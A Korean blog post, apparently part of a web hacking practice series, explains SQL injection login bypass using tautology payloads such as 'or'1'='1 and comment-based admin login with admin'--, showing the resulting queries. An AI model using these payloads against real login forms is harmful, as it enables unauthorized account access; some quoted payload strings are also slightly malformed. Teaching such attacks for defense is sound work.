SQL인젝션 공격 실습법의 종류
1.인증 우회
=> 말 그대로 우회 즉 돌아서 인증을 거치겠다는 것입니다.
SQL의 가장 대표적인 공격법입니다.
한번 알아보겠습니다
가. OR연산 이용
즉 입력 폼에 'or'1='1문을 입력하여 결과값을 참으로 하는 법입니다.
예를들어
아이디를 TEST_ID로 하고 패스워드를 test'or'1'=1'을 입력하게 되면 어떻게 될까요?
데이터베이스에 요청하는 쿼리문은 최종적으로
select * from member where id = 'TEST_ID' and bPass\'test'or'1'='1' 과 같이 전달되고
삽입된 or조건에 의해서 or 앞이나 뒤의 두 조건중 단 하나라도 참이면 결과값이 참이 전달이 되어 로그인이 가능하게 되는것입니다.
여기서 주의해야 하실점은 (') 의 사용입니다.
위의 예제에서도 보시다시피
문법상 (')은 2개를 사용하셔야 되죠? 그래서
패스워드 입력시에 test' or 1'1='1 등이 입력되는것입니다.
만약 test'or'1'=1 이 되면 문자열 앞에 닫히지 않는 인용부호가 있다는 에러가 발생되게됩니다.
(허나 요즘 싸이트 대부분은 이런에러를 보여주지않습니다^^)
과연 저 위에 or대입법만 존재하냐 그것은 아닙니다
어떤 종류가 더있는지 알아보겠습니다.
or 'usual'='usual'
or'ab'='a'+'b'
or'anything'like'any%'
or2>1
or'test'>'t'
or'whatever'IN('whatever')
or2between1and3
등이 있습니다.
과정을 좀더 자세히 살펴보면 연산자 우선순위에 의해 and는 or보다 먼저 계산이 됩니다 즉.
bId='TEST_ID' and bPass='test'가 먼저 계산되어 결과가 FALSE가 되고 그 후 FALSE or (1=1)이 그다음 계산 되어 즉, FALSE or TRUE가 되어 결과적으로 TRUE가 되어
테이블의 모든값을 가져옵니다.
이때
주의 깊게 보셔야될껀 관리자 즉, admin계정은 거의 테이블의 가장 상위에 위치하고
결과적으로 TEST_ID의 비밀번호를 우회 접속했으나 결과는 admin계정 권한을 얻어 올수 있다는 것입니다.
나. 주석문을 이용한 admin 로그인
주석문을 이용해 뒤에것을 무시해보자 라는 취지에서 나온 공격법입니다.
ex.1)select * from member where bid='admin' and bPass='test' or '1'='1'
ex.2)select * from member where bid='admin'--and bPass=''
ex.3)select * from member where bid='admin'
자 ex1위 문을 ex2처럼 바꾸면 'admin'-- 이후에 bPass는 아예 무시
ex3처럼 변하게 되고 비밀번호 없이 바로 로그인이 가능합니다.
[출처] No.7 SQL 인젝션 공격 실습|작성자 Securely
'Security > Web Hacking' 카테고리의 다른 글
No.9 SQL인젝션 방어법 (0) | 2012.07.11 |
---|---|
No.8 SQL인젝션 공격 실습(2) (0) | 2012.07.11 |
No.6 SQL인젝션 알아보기 (0) | 2012.07.11 |
No.5 WebHacking의 시작 WebGoat설치 (0) | 2012.07.11 |
No.4 XSS 공격 실습 (0) | 2012.07.11 |